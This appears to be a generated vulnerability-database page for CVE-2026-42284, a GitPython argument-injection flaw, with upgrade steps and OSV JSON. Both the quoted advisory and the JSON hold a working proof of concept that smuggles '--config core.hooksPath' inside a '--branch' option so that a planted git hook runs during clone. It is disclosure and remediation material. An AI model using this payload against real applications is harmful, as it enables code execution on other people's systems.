CVE-2026-42284: GitPython Unsafe Option Check Validates Multi_options Vulnerability

HIGH
Advisory Identifier: GHSA-x2qx-6953-8485
CVSS 8.1
CWE-88
Published
Advisory Summary

CVE-2026-42284 is a HIGH (CVSS 8.1) unsafe option check validates multi_options vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting GitPython libraries in the PyPI ecosystem. The issue involves unsafe option check validates multi_options before shlex.split transformation. Remediation is available by upgrading affected packages to version 3.1.47.

CVE-2026-42284 at a Glance

CVE Identifier CVE-2026-42284
GHSA Identifier GHSA-x2qx-6953-8485
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Affected Product GitPython
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-42284

To remediate this vulnerability, upgrade all affected GitPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

GitPython fixed: 3.1.47
pip install GitPython>=3.1.47
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show GitPython

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-42284, inspect your installed packages using pip:

pip show GitPython

Analyze the terminal output to locate any version of GitPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.47), your application is affected.

Note: The pip show GitPython command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In GitPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

CVE-2026-42284 Affected GitPython Versions

1 component(s)
Fixed Versions:
3.1.47
Product / Package Ecosystem Affected Versions Fixed Version
GitPython
PyPI
< 3.1.47
3.1.47

References

Frequently Asked Questions

What is CVE-2026-42284?
CVE-2026-42284 is a security vulnerability in GitPython involving Unsafe option check validates multi_options before shlex.split transformation under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').
Which GitPython versions are affected?
Affected versions include releases prior to 3.1.47 across affected packages: GitPython.
What version fixes CVE-2026-42284?
Upgrading to 3.1.47 (or the latest patched release for your respective branch) resolves the vulnerability.
Is GitPython affected?
Yes, GitPython is affected in releases prior to 3.1.47. Upgrade your dependency to 3.1.47 or later.
What is the CVSS score of CVE-2026-42284?
CVE-2026-42284 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-42284?
CVE-2026-42284 is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.).
How can I check PyPI dependencies for CVE-2026-42284?
Run the dependency tree command: 'pip show GitPython'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x2qx-6953-8485",
  "modified" : "2026-05-13T13:37:24Z",
  "published" : "2026-04-25T23:41:49Z",
  "aliases" : [ "CVE-2026-42284" ],
  "summary" : "GitPython: Unsafe option check validates multi_options before shlex.split transformation",
  "details" : "### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.47"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42284"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
  }, {
    "type" : "WEB",
    "url" : "https://www.tenable.com/cve/CVE-2026-32686"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-25T23:41:49Z",
    "nvd_published_at" : "2026-05-07T19:16:01Z"
  }
}